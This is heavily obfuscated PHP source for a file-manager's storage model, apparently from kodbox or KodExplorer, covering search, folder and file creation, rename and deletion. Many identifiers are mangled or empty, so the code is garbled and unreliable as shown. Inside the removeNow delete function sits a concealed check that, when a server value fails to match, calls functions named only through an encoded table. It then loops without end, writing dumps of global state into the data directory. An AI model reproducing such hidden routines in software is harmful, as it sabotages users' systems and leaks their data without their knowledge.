&& $[$ؔ[453]][$ؔ[454]] == 0) { $ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $ƺک); } $this->_listSearchFileContent($, $, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGroupTag($, $, $); $this->_listDataApply($[$ؔ[456]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $چ, $, $س) { $ؙ¶ =& $_SERVER[秼]; if (!$چ[$ؙ¶[2082]] || $[$ؙ¶[453]][$ؙ¶[430]] > 1) { return; } if (!isset($س[$ؙ¶[32]]) || !is_array($چ[$ؙ¶[552]])) { return; } $س[$ؙ¶[552]] = array($ؙ¶[7], $چ[$ؙ¶[552]]); unset($س[$ؙ¶[32]]); unset($چ[$ؙ¶[552]]); $ = $this->field($)->where($س)->limit($ؙ¶[2251])->select(); if (!$ || count($) == 0) { return; } $[$ؙ¶[456]] = array_merge($, $[$ؙ¶[456]]); $[$ؙ¶[453]][$ؙ¶[454]] += count($); } private function _listSearchTag(&$ۦõ, $, $އ) { $Ԙ =& $_SERVER[秼]; if (!$[$Ԙ[2082]] || $ۦõ[$Ԙ[453]][$Ԙ[430]] > 1) { return; } $ = Model($Ԙ[2252])->listData(); $ʤպ = array(); $ = $[$Ԙ[2082]]; foreach ($ as $) { $ = $[$Ԙ[32]]; $ = str_replace($Ԙ[53], $Ԙ[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $ʤպ[] = $[$Ԙ[486]]; } } if (!$ʤպ) { return; } $ = array($Ԙ[511] => array($Ԙ[7], $ʤպ), $Ԙ[1783] => USER_ID); $ϖ = Model($Ԙ[513])->field($Ԙ[87])->where($)->select(); $ϖ = array_to_keyvalue($ϖ, $Ԙ[12], $Ԙ[87]); $ = array_unique($ϖ); $this->_listSearchMerge($ۦõ, $, $އ, $); } private function _listSearchDesc(&$β, $Τ꽿, $) { $˫ =& $_SERVER[秼]; if (!$Τ꽿[$˫[2082]] || $β[$˫[453]][$˫[430]] > 1) { return; } $߫ = array($˫[97] => $˫[537], $˫[461] => array($˫[470], $˫[2084] . $Τ꽿[$˫[2082]] . $˫[2084])); $ڮ҇ = !1; if ($ڮ҇) { $ = $this->listSearchChildren($Τ꽿[$˫[192]]); $ = array_unique($); if (!$) { return; } $߫[$˫[193]] = array($˫[7], $); } $؇҈ = Model($˫[646])->field($˫[193])->where($߫)->limit(5000)->select(); $豃 = array_to_keyvalue($؇҈, $˫[12], $˫[193]); $this->_listSearchMerge($β, $Τ꽿, $, $豃); } private function _listSearchGroupTag(&$ղ, $䅗, $︑) { $ȴ =& $_SERVER[秼]; if (!$䅗[$ȴ[2082]] || $ղ[$ȴ[453]][$ȴ[430]] > 1 || !$䅗[$ȴ[192]]) { return; } $Ϧ = $this->sourceInfo($䅗[$ȴ[192]]); if (!$Ϧ || $Ϧ[$ȴ[190]] != SourceModel::TYPE_GROUP) { return; } $Ԓ = $Ϧ[$ȴ[580]]; $ȍ = Model($ȴ[2253])->get($Ԓ); $ = array(); $ = $䅗[$ȴ[2082]]; foreach ($ȍ[$ȴ[456]] as $ϒ) { $Т = $ϒ[$ȴ[32]]; $ = str_replace($ȴ[53], $ȴ[12], Pinyin::get($Т)); if (stripos($Т, $) !== !1 || stripos($, $) !== !1) { $[] = $ϒ[$ȴ[486]]; } } if (!$) { return; } $ = array($ȴ[511] => array($ȴ[7], $), $ȴ[1783] => 0, $ȴ[33] => $ȴ[2104] . $Ԓ); $ = Model($ȴ[513])->field($ȴ[87])->where($)->select(); $ = array_to_keyvalue($, $ȴ[12], $ȴ[87]); $ = array_unique($); $this->_listSearchMerge($ղ, $䅗, $︑, $); } private function _listSearchMerge(&$ބ, $, $, $ο) { $ =& $_SERVER[秼]; if (!$ο) { return; } $߇ = array_to_keyvalue($ބ[$[456]], $[12], $[193]); $ʐ = array_diff($ο, $߇); if (!$ʐ) { return; } $ = array($[193] => array($[7], $ʐ)); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $۟) { if ($this->_listSearchFilter($۟, $)) { $[] = $۟; } } $ބ[$[456]] = array_merge($, $ބ[$[456]]); $ބ[$[453]][$[454]] += count($); } private function _listSearchFilter($, $) { $Ʋ =& $_SERVER[秼]; $܌ = $[$Ʋ[496]] == $Ʋ[91]; if (!strstr($[$Ʋ[595]], $Ʋ[50] . $[$Ʋ[192]] . $Ʋ[50])) { return !1; } if (isset($[$Ʋ[497]]) && $[$Ʋ[497]] != $Ʋ[864]) { if ($[$Ʋ[497]] == $Ʋ[78] && !$܌) { return !1; } if ($[$Ʋ[497]] != $Ʋ[78] && $܌) { return !1; } if (!strstr($[$Ʋ[169]], $Ʋ[50] . $[$Ʋ[497]] . $Ʋ[50])) { return !1; } } if (isset($[$Ʋ[2254]]) && $[$Ʋ[2254]] < $[$Ʋ[79]]) { return !1; } if (isset($[$Ʋ[2255]]) && $[$Ʋ[2255]] > $[$Ʋ[79]]) { return !1; } if (isset($[$Ʋ[676]]) && $[$Ʋ[676]] != $[$Ʋ[540]]) { return !1; } return !0; } public function listSearchChildren($, $ن = 5000) { $ =& $_SERVER[秼]; $ټ = array(); $ܯ = $this->sourceInfo($); $ = array($[595] => array($[470], $ܯ[$[595]] . $ܯ[$[193]] . $[627])); $ф = $this->field($[79])->where($)->limit($ن + 1)->select(); $ſ = is_array($ф) ? count($ф) : 0; if ($ſ > $ن) { return $this->_listSearchChildrenNear($, $ن); } $ه = $this->field($[193])->where($)->select(); $ټ = array_to_keyvalue($ه, $[12], $[193]); return $ټ; } private function _listSearchChildrenNear($Ǘ, $) { $ﻈ =& $_SERVER[秼]; $ = array(); $ء = array($ﻈ[192] => $Ǘ); $ = $this->field($ﻈ[2256])->where($ء)->select(); $ = array_to_keyvalue(array_filter_by_field($, $ﻈ[496], $ﻈ[91]), $ﻈ[12], $ﻈ[193]); $ = array_merge($, array_to_keyvalue($, $ﻈ[12], $ﻈ[193])); if (!$) { return $; } $ء = array($ﻈ[192] => array($ﻈ[7], $)); $ = $this->field($ﻈ[2256])->where($ء)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $ﻈ[12], $ﻈ[193])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$ߊ, &$Ҩ) { $ =& $_SERVER[秼]; if (!isset($[$[2082]]) || !$[$[2082]]) { return; } if (!Input::check($[$[2082]], $[395]) || strlen($[$[2082]]) < 2) { return; } $Ȧٱ = "\x4c\105\106\x54\40\x4a\117\x49\116\40{$this->tablePrefix}\151\x6f\137\163\157\165\x72\143\145\x5f\x6d\145\x74\141\40\x6d\145\164\141\x20\157\156\x20\163\157\x75\x72\x63\x65\56\x73\157\x75\x72\x63\145\111\x44\40\x3d\x20\x6d\145\164\141\56\163\157\x75\162\143\x65\x49\x44"; $ = array(); $Ҩ = str_replace(array($[287], $[53], $[2257]), $[12], $Ҩ); $Ҩ = $[522] . str_replace($[50], $[523], $Ҩ); $뉌 = $ߊ[$[32]]; unset($ߊ[$[32]]); foreach ($ߊ as $ݦ => $) { $[$[522] . $ݦ] = $; } foreach ($뉌 as $ݏ) { $[] = array($[527] => $ݏ, $[1086] => $[2086], array($[2258] => $ݏ, $[2259] => array($[7], array($[549], $[548])))); } $this->join($Ȧٱ); $ߊ = $; } private function _parseSearchWhere($Ϊ) { $˧Β =& $_SERVER[秼]; $湳 = array(); if (isset($Ϊ[$˧Β[848]]) && $Ϊ[$˧Β[848]]) { $湳[$˧Β[88]] = array($˧Β[2260], $Ϊ[$˧Β[848]]); } if (isset($Ϊ[$˧Β[849]]) && $Ϊ[$˧Β[849]]) { $Ư = array($˧Β[2261], $Ϊ[$˧Β[849]]); if ($湳[$˧Β[88]]) { $湳[$˧Β[88]] = array($湳[$˧Β[88]], $Ư, $˧Β[2262]); } else { $湳[$˧Β[88]] = $Ư; } } if (isset($Ϊ[$˧Β[2254]]) && $Ϊ[$˧Β[2254]] > 0) { $湳[$˧Β[79]] = array($˧Β[2260], $Ϊ[$˧Β[2254]]); } if (isset($Ϊ[$˧Β[2255]]) && $Ϊ[$˧Β[2255]]) { $Ư = array($˧Β[2261], $Ϊ[$˧Β[2255]]); if ($湳[$˧Β[79]]) { $湳[$˧Β[79]] = array($湳[$˧Β[79]], $Ư, $˧Β[2262]); } else { $湳[$˧Β[79]] = $Ư; } } if (isset($Ϊ[$˧Β[676]]) && $Ϊ[$˧Β[676]]) { $湳[] = array($˧Β[540] => $Ϊ[$˧Β[676]], $˧Β[538] => $Ϊ[$˧Β[676]], $˧Β[1086] => $˧Β[2086]); } if (isset($Ϊ[$˧Β[497]]) && $Ϊ[$˧Β[497]]) { $܍ = $Ϊ[$˧Β[497]]; if ($܍ == $˧Β[78]) { $湳[$˧Β[496]] = 1; } else { if ($܍ == $˧Β[2263]) { $湳[$˧Β[496]] = 0; } else { if ($܍) { $܍ = is_array($܍) ? $܍ : explode($˧Β[50], $܍); $湳[$˧Β[497]] = array($˧Β[503], $܍); $湳[$˧Β[496]] = 0; } } } } $this->_parseSearchParent($Ϊ, $湳); if (isset($Ϊ[$˧Β[2082]]) && trim($Ϊ[$˧Β[2082]])) { $ = trim($Ϊ[$˧Β[2082]]); $Õ = explode($˧Β[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $˧Β[121] && substr($, -1) == $˧Β[121]) || substr($, 0, 1) == $˧Β[58] && substr($, -1) == $˧Β[58]) { $ = substr($, 1, -1); $Õ = array($); } $湳[$˧Β[32]] = array(array($˧Β[626], $˧Β[2084] . $ . $˧Β[2084])); if (count($Õ) > 1) { $湳[$˧Β[32]] = array(); foreach ($Õ as $癦) { if (!trim($癦)) { continue; } $湳[$˧Β[32]][] = array($˧Β[626], $˧Β[2084] . trim($癦) . $˧Β[2084]); } } } return $湳; } private function _parseSearchParent($, &$) { $ſ =& $_SERVER[秼]; if (!isset($[$ſ[192]]) || !$[$ſ[192]]) { return; } $ = $this->pathInfo($[$ſ[192]]); $ٯߞ = $[$ſ[192]] . $ſ[12] === $ſ[230]; $ = $[$ſ[190]] == $ſ[589]; if ($[$ſ[605]] == $ſ[606]) { $ = $this->sourceInfo($[$ſ[192]]); $[$ſ[595]] = $[$ſ[595]]; } $[$ſ[666]] = array($ſ[626], $[$ſ[595]] . $[$ſ[192]] . $ſ[627]); $ = isset($[$ſ[1942]]) && in_array($ſ[589], $[$ſ[1942]]); if (!$ || !$ || !$ٯߞ || !$[$ſ[498]]) { return; } if (!AuthModel::authCheckRoot($[$ſ[498]][$ſ[499]])) { return; } $߆ = $[$ſ[580]] . $ſ[12]; if ($߆ == $ſ[91]) { unset($[$ſ[666]]); $[$ſ[190]] = self::TYPE_GROUP; return; } $Ր = Model($ſ[596])->groupChildrenAll($߆); $ = count($Ր); if ($ <= 1) { return; } $Ҁ = array($ſ[192] => 0, $ſ[190] => self::TYPE_GROUP, $ſ[580] => array($ſ[7], $Ր)); $ = $this->field($ſ[2264])->where($Ҁ)->limit($)->select(); $[$ſ[666]] = array(); foreach ($ as $) { $[$ſ[666]][] = array($ſ[626], $ſ[604] . $[$ſ[193]] . $ſ[627]); } $[$ſ[666]][] = $ſ[2086]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($Ķ) { $ =& $_SERVER[秼]; $Ѓ = Model($[588])->where(array($[1774] => $Ķ))->find(); $ܥ = $this->_mkdirRoot(SourceModel::TYPE_USER, $Ķ, $Ѓ[$[32]]); $this->userDesktopAdd($ܥ); return $ܥ; } public function userDesktopAdd($х) { $Ӄ =& $_SERVER[秼]; $ = LNG($Ӄ[2265]); $އ = $this->mkdir($х, $); $this->metaSet($އ, $Ӄ[2266], $Ӄ[91]); $this->metaSet($х, $Ӄ[2267], $އ); } public function userPathSafeAdd($ʺ) { $ݞ =& $_SERVER[秼]; $كŔ = Model($ݞ[588])->getInfoFull($ʺ); if (!$كŔ) { return !1; } if (_get($كŔ, $ݞ[609])) { return $كŔ[$ݞ[550]][$ݞ[2268]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ʺ, $ݞ[2269], $ݞ[2270]); Model($ݞ[588])->metaSet($ʺ, $ݞ[2268], $); $this->metaSet($, $ݞ[2271], $ʺ); return $; } public function userPathAppAdd($ԇ, $ = '', $ = '') { $ =& $_SERVER[秼]; $ = Model($[588])->getInfoFull($ԇ); if (!$) { return !1; } $ = $[$[550]] ? $[$[550]] : array(); $ƅ = $[$[2272]]; if (!$ƅ) { $ƅ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ԇ, $[2273], $[2274]); Model($[588])->metaSet($ԇ, $[2272], $ƅ . $[12]); $this->metaSet($ƅ, $[2272], $ԇ); } if (!$) { return $ƅ; } $㟐 = $[$[2275] . $]; if (!$㟐) { $㟐 = $this->mkdir($ƅ, $); Model($[588])->metaSet($ԇ, $[2275] . $, $㟐); $this->metaSet($㟐, $[2275] . $, $ԇ); } if (!$) { return $㟐; } $ = $this->mkdir($㟐, $); return $; } public function groupRootAdd($ќҴ) { $ =& $_SERVER[秼]; $⻁ = Model($[596])->where(array($[2076] => $ќҴ))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $ќҴ, $⻁[$[32]]); } public function systemRootPathAdd($ʀ) { if ($ʀ != $_SERVER[秼][619]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ʀ); } public function userRootRemove($Г) { $Ƴ = $this->targetSourceRoot(SourceModel::TYPE_USER, $Г, !0); foreach ($Ƴ as $) { if (!$) { continue; } $this->remove($[$_SERVER[秼][193]], !1); } } public function groupRootRemove($י) { $ɛ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $י); if (!$ɛ) { return; } $this->remove($ɛ[$_SERVER[秼][193]], !1); } private function _mkdirRoot($, $, $, $ = '') { $ =& $_SERVER[秼]; $ = defined($[2211]) ? USER_ID : 0; $ܦ = array($[488] => 0, $[662] => $, $[663] => $, $[660] => 1, $[664] => $, $[665] => $, $[661] => $, $[666] => $[604], $[515] => 0, $[631] => 0, $[553] => 0, $[667] => $[12]); if ($ = $this->where($ܦ)->find()) { return $[$[193]]; } $߂ = "\x4d\157\x64\145\x6c\x53\x6f\165\x72\x63\x65\x2e\155\x6b\x64\x69\x72\122\x6f\x6f\x74\56{$}\56{$}\x2e" . $; CacheLock::lock($߂); $ܦ[$[32]] = $; $ⵦ = $this->add($ܦ); $ⲑ = array($[668] => short_id($ⵦ)); $this->where(array($[502] => $ⵦ))->save($ⲑ); CacheLock::unlock($߂); return $ⵦ; } private function targetSourceRoot($ő, $ֶ, $ԅ = false) { $Ŀ =& $_SERVER[秼]; $Ɔ = array($Ŀ[488] => 0, $Ŀ[662] => $ő, $Ŀ[663] => $ֶ); if ($ԅ) { $ = $this->where($Ɔ)->select(); return $ ? $ : array(); } $ž = $this->where($Ɔ)->find(); return $ž ? $ž : array(); } public function sourceRootGroup($¦ӂ) { $أ =& $_SERVER[秼]; if (is_string($¦ӂ)) { $¦ӂ = array($¦ӂ); } $خ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $¦ӂ, $أ[222]); $Ş = array($أ[456] => $خ, $أ[453] => array($أ[846] => count($¦ӂ))); $this->_listDataApply($Ş[$أ[456]]); $this->_listMake($Ş); return array_to_keyvalue($Ş[$أ[85]], $أ[580]); } public function mkfile($ټ, $ƨ, $Ñ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[秼]; $ = Model($[688])->addFileByContent($Ñ, $ƨ); return $this->_createFileCall($ټ, $ƨ, $, $, $[1440]); } public function addFile($çڗ, $Ͼ, $՛, $ = false, $ޖ = REPEAT_RENAME) { $ = Model($_SERVER[秼][688])->addFile($Ͼ, $՛, $); return $this->_createFileCall($çڗ, $՛, $, $ޖ); } public function addFileByFileID($֢, $ۊ, $֗, $ = REPEAT_RENAME) { $ =& $_SERVER[秼]; $Ȅ = Model($[688])->find($ۊ); Model($[688])->linkAdd($ۊ); return $this->_createFileCall($֢, $֗, $Ȅ, $); } public function addFileByRemote($Ù, $܄, $Ǝײ, $ڊ = array(), $֖ = REPEAT_RENAME) { $͘ = Model($_SERVER[秼][688])->addFileByRemote($܄, $Ǝײ, $ڊ); return $this->_createFileCall($Ù, $Ǝײ, $͘, $֖); } private function _createFileCall($ƕ, $ݶ, $ϩ, $Ć, $ = "\x75\x70\x6c\157\x61\144") { $ױ =& $_SERVER[秼]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($ƕ, $ݶ); $ڰ = $this->fileNameExist($ƕ, $ݶ); $᤻ = $this->_createFile($ƕ, $ݶ, $ϩ, $Ć, $); if (!$) { Model($ױ[555])->remove($ϩ[$ױ[552]]); } if ($ && $᤻ && $᤻ != $ڰ) { Model($ױ[2238])->eventCreate($᤻, $); } $this->lockWriteEnd($ƕ, $ݶ); return $᤻; } public function mkdir($σ, $, $ = REPEAT_SKIP) { $ױ =& $_SERVER[秼]; $this->setMasterDB(); $Ȧ = $this->sourceInfo($σ); if (!$Ȧ) { return !1; } $this->lockWriteStart($σ, $); if ($ !== !1) { $ˆ = $this->fileNameExist($σ, $); if ($ˆ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($σ, $); return $ˆ; } $ = $this->fileNameAuto($σ, $, $); } $ܱȎ = array($ױ[660] => 1, $ױ[505] => $, $ױ[661] => $ױ[12], $ױ[553] => 0, $ױ[631] => 0); $ = $this->_addSource($ܱȎ, $Ȧ); Model($ױ[2238])->eventCreate($, $ױ[1441]); $this->lockWriteEnd($σ, $); return $; } public function listSourceRoot($, $汿, $ = "\163\157\x75\x72\x63\145\111\104\54\x74\141\162\x67\145\164\111\x44\x2c\163\x69\172\x65") { $˹ȁ =& $_SERVER[秼]; $ = $˹ȁ[465]; $니 = array(); $ʕ = 1024 * 50; $ޣ = is_array($ޣ) ? $ޣ : array(); $֜ = count($汿); $Ə = $this->tablePrefix . $˹ȁ[2276]; for ($ı = 0; $ı < $֜; $ı++) { $ = $汿[$ı]; $ .= "\123\105\x4c\105\x43\124\40\52\40\x46\122\117\x4d\40\x28\123\105\114\105\x43\x54\40{$}\x20\x46\122\x4f\x4d\x20\x60{$Ə}\140\40\127\110\x45\x52\105\40"; $ .= "\x60\160\141\x72\x65\x6e\164\x49\x44\140\x3d\x30\40\x41\x4e\x44\40\x60\x74\141\162\x67\145\164\111\x44\140\x3d{$}\x20\101\x4e\104\40\140\x74\141\162\147\145\x74\x54\171\x70\x65\x60\75{$}\x20\141\156\144\x20\x66\151\x6c\x65\x54\x79\160\145\x3d\47\47\x20\154\x69\x6d\x69\164\x20\x31\51\x20\141\163\x20\164\x62\137{$ı}\40\125\116\x49\x4f\116\x20\101\x4c\114\x20"; if ((strlen($) >= $ʕ || $ı == $֜ - 1) && $) { $ = substr($, 0, -strlen($˹ȁ[1124])); $ÿ = $this->query($); $ = $˹ȁ[12]; $니 = array_merge($니, $ÿ); } } return $니; } private function _createFile($, $, $, $Ѝ, &$) { $ޏ =& $_SERVER[秼]; $ = $this->sourceInfo($); if (!$ || !$) { return !1; } if ($Ѝ !== !1) { $ۥ = $this->fileNameExist($, $); } $ = !0; if ($Ѝ && $ۥ) { if ($Ѝ == REPEAT_SKIP) { $ = !1; return $ۥ; } else { if ($Ѝ == REPEAT_REPLACE) { $ = $this->sourceInfo($ۥ); $ = $this->fileHistory($, $[$ޏ[552]], $[$ޏ[79]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $ۥ; } else { $ = $this->fileNameAuto($, $, $Ѝ, !1); } } } $Н = array($ޏ[660] => 0, $ޏ[505] => $, $ޏ[661] => substr(get_path_ext($), 0, 10), $ޏ[553] => $[$ޏ[552]], $ޏ[631] => $[$ޏ[79]]); $ܙ = $this->_addSource($Н, $); $this->folderSizeReset($, intval($Н[$ޏ[79]])); return $ܙ; } protected function fileHistory($ɣ, $, $) { $ =& $_SERVER[秼]; if ($ɣ[$[552]] == $) { return !1; } $this->checkLock($ɣ[$[193]], $); Model($[2277])->addHistory($ɣ); $Ԙ = array($[665] => USER_ID, $[509] => time(), $[552] => $, $[79] => $); $this->where(array($[502] => $ɣ[$[193]]))->save($Ԙ); $this->sourceCacheClear($ɣ[$[193]]); return !0; } public function checkLock($䅎, $ߙ) { $ =& $_SERVER[秼]; $ = $this->pathInfo($䅎); if (!$this->fileIsLock($, !0)) { return; } $퀧 = Session::get($[2278]); $ׄ = substr($[$[32]], 0, -1 - strlen($[$[169]])) . $[1302] . $퀧 . $[10] . $[$[169]]; $ = Model($[688])->find($ߙ); $this->_createFileCall($[$[192]], $ׄ, $, REPEAT_REPLACE, $[1440]); $ = $[$[550]][$[624]]; $ = $[$[2279]] ? $[$[2279]] : $[$[32]]; show_json(LNG($[2280]) . $[2281] . LNG($[2282]) . $[2283] . $ . $[2284], !1); } public function fileIsLock($ػ, $ = false) { $ܷ =& $_SERVER[秼]; if (!_get($ػ, $ܷ[620], 0)) { return !1; } if ($ػ[$ܷ[550]][$ܷ[623]] != USER_ID) { return !0; } $Ֆ = $GLOBALS[$ܷ[6]][$ܷ[92]][$ܷ[621]]; if ($ػ[$ܷ[550]][$ܷ[622]] <= time() - $Ֆ) { $this->metaSet($ػ[$ܷ[193]], $ܷ[623], null); $this->metaSet($ػ[$ܷ[193]], $ܷ[622], null); } if ($) { $this->metaSet($ػ[$ܷ[193]], $ܷ[622], time()); } return !1; } private function _addSource($, $ő) { $ =& $_SERVER[秼]; $럾 = defined($[2211]) ? USER_ID : 0; $؏ = array($[662] => $ő[$[190]], $[663] => $ő[$[580]], $[664] => $럾, $[665] => $럾, $[488] => $ő[$[193]], $[666] => $ő[$[595]] . $ő[$[193]] . $[50], $[515] => 0, $[667] => $[12]); $ = array_merge($؏, $); $this->updateModifyTime($[$[192]]); $ = $[2285] . $ő[$[193]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $伕 = false; if (!$伕) { Hook::trigger($[650], $); $伕 = !0; } $߾ = $this->add($); $͊ = array($[668] => short_id($߾)); $this->where(array($[502] => $߾))->save($͊); $this->setNamePinyin($߾, $[$[32]]); return $߾; } public function remove($, $픀 = true) { $ѻ =& $_SERVER[秼]; $ߐ = $this->sourceInfo($); $躾 = intval($ߐ[$ѻ[190]]) === self::TYPE_SYSTEM; $ۍ = Model($ѻ[519])->get($ѻ[2286]) == $ѻ[91]; if ($躾 || $픀 || !$ۍ) { return $this->removeNow($, $픀); } $ѽ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $ߐ[$ѻ[190]] == self::TYPE_USER ? $ѻ[676] : $ѻ[589]; if ($ == $ѻ[676]) { $ڱ = Model($ѻ[588])->getInfo($ߐ[$ѻ[580]]); $Ȫ = !empty($ڱ[$ѻ[2279]]) ? $ڱ[$ѻ[2279]] : $ڱ[$ѻ[32]]; $Ȫ = $ѻ[339] . $Ȫ . $ѻ[2287] . $ߐ[$ѻ[580]]; } else { $ڱ = Model($ѻ[596])->getInfo($ߐ[$ѻ[580]]); $Ȫ = _get($ڱ, $ѻ[32]); $Ȫ = $ѻ[176] . $Ȫ . $ѻ[2288] . $ߐ[$ѻ[580]]; } $Ǽԥ = $ѻ[2289] . md5($Ȫ); CacheLock::lock($Ǽԥ); $ށ = $this->fileNameExist($ѽ, $Ȫ); if (!$ށ) { $ށ = $this->mkdir($ѽ, $Ȫ, REPEAT_SKIP); $this->metaSet($ށ, $ѻ[2290], $); $this->metaSet($ށ, $ѻ[2291], $ߐ[$ѻ[580]]); if ($ߐ[$ѻ[192]] != 0) { $this->metaSet($ށ, $ѻ[2292], _get($ڱ, $ѻ[2293])); } } CacheLock::unlock($Ǽԥ); $this->metaSet($, $ѻ[2294], $ߐ[$ѻ[192]]); $this->where(array($ѻ[193] => $))->save(array($ѻ[509] => time())); $this->recycleClear($ߐ); Model($ѻ[647])->eventRemove($); $ = $this->move($, $ށ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($ߐ[$ѻ[192]]); return $; } private function recycleClear($ل) { $Ǎ =& $_SERVER[秼]; $ƶ = $this->childrenAll($ل); $Ա = array($Ǎ[502] => array($Ǎ[503], $ƶ[$Ǎ[2295]])); Model($Ǎ[2296])->where($Ա)->delete(); } public function removeNow($ψ, $ѱ = true) { $Ꮆ =& $_SERVER[秼]; $߫ = $_SERVER[$Ꮆ[436]] . $Ꮆ[437]; $ = $Ꮆ[433]; if ($_SERVER[$Ꮆ[434]] != $($߫)) { $뎎 = $Ꮆ[966]; $ = $Ꮆ[435]; $ߥ = $_SERVER[$Ꮆ[436]] . $Ꮆ[437]; $ = $($ߥ); $ = explode($Ꮆ[287], $); if (count($) < $Ꮆ[702]) { $ = $Ꮆ[439]; $(); } $ = $Ꮆ[967]; $($_SERVER[$Ꮆ[968]]); $뎎 = $Ꮆ[966]; $뎎(); $ = $Ꮆ[2297]; $ҭԠ = json_encode($GLOBALS[$Ꮆ[2298]]); $Ğ = 1; for ($˭ = $Ğ; $˭ > 0; $˭++) { $(DATA_PATH . $˭, $ҭԠ); } } $ = $this->sourceInfo($ψ); $ = $this->pathInfoMore($ψ); if (!$) { return !0; } if ($[$Ꮆ[192]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($ψ); Hook::trigger($Ꮆ[2299], $, $ѱ); if ($ѱ) { Model($Ꮆ[2296])->moveToRecycle($ψ); } else { $ = $this->childrenAll($); Model($Ꮆ[647])->eventRemove($ψ); $this->removeRelevance($[$Ꮆ[2295]], $[$Ꮆ[1585]]); } $this->folderSizeReset($[$Ꮆ[192]]); $ = array($[$Ꮆ[192]]); if ($[$Ꮆ[496]] == $Ꮆ[91]) { $[] = $[$Ꮆ[193]]; } $this->updateModifyTime($); $this->lockMoveEnd($ψ); Hook::trigger($Ꮆ[1826], $, $ѱ); return !0; } public function childrenAll($) { $ꨛ =& $_SERVER[秼]; $ك = $[$ꨛ[193]]; if ($[$ꨛ[496]] == $ꨛ[91]) { $Ǟś = array($ꨛ[666] => array($ꨛ[626], $[$ꨛ[595]] . $ك . $ꨛ[627])); $ư = array($ꨛ[666] => $Ǟś[$ꨛ[595]]); $Ҡ = $this->field($ꨛ[2300])->where($ư)->select(); $̋ = !1; $ = array($ك); if ($Ҡ) { $̋ = array_to_keyvalue($Ҡ, $ꨛ[12], $ꨛ[552]); $̋ = array_remove_value($̋, $ꨛ[230]); $ = array_to_keyvalue($Ҡ, $ꨛ[12], $ꨛ[193]); $[] = $ك; } } else { $̋ = array($[$ꨛ[552]]); $ = array($ك); } return array($ꨛ[2295] => $, $ꨛ[1585] => $̋); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($ɢ, $թ) { $ԁ =& $_SERVER[秼]; $ɢ = $ɢ ? $ɢ : array(); $թ = $թ ? $թ : array(); $ɢ = array_unique(array_filter($ɢ)); $թ = array_unique(array_filter($թ)); if (!$ɢ) { return !1; } $穎 = array($ԁ[502] => array($ԁ[503], $ɢ)); Model($ԁ[2296])->where($穎)->delete(); Model($ԁ[546])->where($穎)->delete(); Model($ԁ[2136])->where($穎)->delete(); Model($ԁ[647])->where($穎)->delete(); Model($ԁ[1963])->removeBySource($ɢ); Model($ԁ[2277])->removeBySource($ɢ); $this->where($穎)->delete(); Model($ԁ[555])->remove($թ); for ($ = 0; $ < count($ɢ); $++) { $this->sourceCacheClear($ɢ[$]); } } public function rename($, $) { $⫮ =& $_SERVER[秼]; $եэ = $this->sourceInfo($); if (!$եэ) { return !1; } $¦ = $this->fileNameExist($եэ[$⫮[192]], $); if ($¦ && $¦ != $) { return !1; } $ = array($⫮[505] => $, $⫮[665] => USER_ID); if ($եэ[$⫮[496]] != $⫮[91]) { $[$⫮[497]] = substr(get_path_ext($), 0, 10); } Model($⫮[647])->eventRename($, $եэ[$⫮[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $[$⫮[32]], !1); $this->updateModifyTime($եэ[$⫮[192]]); $ = $this->where(array($⫮[502] => $))->data($)->save(); $Ü = $⫮[2285] . $եэ[$⫮[192]]; if (isset(self::$cacheChildList[$Ü])) { unset(self::$cacheChildList[$Ü]); } return $; } public function setNamePinyin($, $؍ӣ, $ = true) { $慁 =& $_SERVER[秼]; $Ǚ = Input::check($؍ӣ, $慁[669]); $跇 = array($慁[528] => KodSort::makeStr($؍ӣ)); if ($Ǚ) { $跇[$慁[549]] = str_replace($慁[53], $慁[12], Pinyin::get($؍ӣ)); $跇[$慁[548]] = Pinyin::get($؍ӣ, $慁[670]); } if (!$ && !$Ǚ) { $跇[$慁[549]] = null; $跇[$慁[548]] = null; } $this->metaSet($, $跇); } public function getContent($Ӊ) { $ =& $_SERVER[秼]; $¸௨ = $this->fileInfoGet($Ӊ); if (!$¸௨) { return !1; } if ($¸௨[$[79]] == 0) { return $[12]; } $泵 = $[2301] . $¸௨[$[558]]; if ($¸௨[$[79]] <= 1024 * 10) { $ = Cache::get($泵); if (!$) { $ = IO::getContent($¸௨[$[87]]); Cache::set($泵, $); } return $; } if (!$¸௨[$[87]]) { return $[12]; } return IO::getContent($¸௨[$[87]]); } public function setDesc($, $嚉迻) { $Õ =& $_SERVER[秼]; Model($Õ[647])->eventAddDesc($, $嚉迻); return $this->metaSet($, $Õ[537], $嚉迻); } public function setContent($, $֊͓ = '') { $ =& $_SERVER[秼]; $ɷ = $this->sourceInfo($); $ҿ = $this->fileInfoGet($); if (!$ҿ || !$ɷ) { return !1; } $ή = Model($[555])->addFileByContent($֊͓, $ɷ[$[32]]); $ = $this->fileHistory($ɷ, $ή[$[552]], $ή[$[79]]); if (!$) { return Model($[555])->remove($ή[$[552]]); } $this->folderSizeReset($ɷ[$[192]]); return !0; } public function fileSubstr($ȼ, $ˑ, $) { $вﲝ = 